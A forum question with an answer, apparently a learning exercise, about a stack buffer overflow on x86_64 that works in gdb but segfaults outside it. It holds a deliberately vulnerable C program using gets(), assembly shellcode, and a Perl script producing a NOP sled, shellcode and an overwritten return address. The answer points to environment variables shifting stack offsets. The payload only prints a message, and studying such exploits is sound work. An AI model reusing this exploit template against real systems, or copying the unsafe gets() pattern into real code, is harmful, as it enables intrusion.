I been trying to smash the stack in an x86_64 machine , the payload gets executed when I use a debugger (gdb) and fails with Segmentation faultwhen I run it normally Here is the vulnerable program #include <stdio.h>char *secret = Password;void go_shell(){    char *shell =  /bin/sh;    char *cmd[] = { /bin/sh, 0 };    printf(Would you like to play a game...\n);    setreuid(0);    execve(shell,cmd,0);}int authorize(){    char password[64];    printf(Enter Password: );    gets(password);    if (!strcmp(password,secret))        return 1;    else        return 0;}int main(){    if (authorize())    {        printf(login successful\n);        go_shell();    } else {        printf(Incorrect password\n);    }    return 0;}compiled as : gcc simple_login.c -o login -z execstack -fno-stack-protector -gASLR turned off Here is My payload in assembly section .textglobal _start_start:xor rax, rax ; syscallxor rdi, rdi ; arg1xor rsi, rsi ; arg2xor rdx, rdx ; arg3; write(int fd, char *msg, unsigned int len)nopmov al, 1inc diinc di;Owned!!! =  4f,77,6e,65,64,21,21,21;push !,!,!,d;push e,n,w,Omov rcx,0x21212164656e774fpush rcxmov rsi, rspmov dl, 8 syscall; exit(int ret);xor rax,raxmov al, 0x3cxor rdi, rdisyscall#!/usr/bin/perlprint \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90; // extra paddingprint \x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2;print \xb0\x01\x66\xff\xc7\x66\xff\xc7\x48\xb9\x4f\x77;print \x6e\x65\x64\x21\x21\x21\x51\x48\x89\xe6\xb2\x08;print \x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05;print \x42\x42\x42\x42\x42\x42\x42\x42; // rbpprint \xd8\xe1\xff\xff\xff\x7f\x00\x00; //return addressOn debugger While Executing in a debugger it works fine and the message Owned!!! is printed out , but when I run the file normally I get Segmentation Error Any Solution on whats happening here ?  
Stack smashing in X86_64 leads to Segmentation fault .
assembly;x86;exploit;stack
The issue was that the OS pushes some env on the stack which creates this offset in memory when the program is run on gdb ,which can be resolved by removing the env . more about this can be found at https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966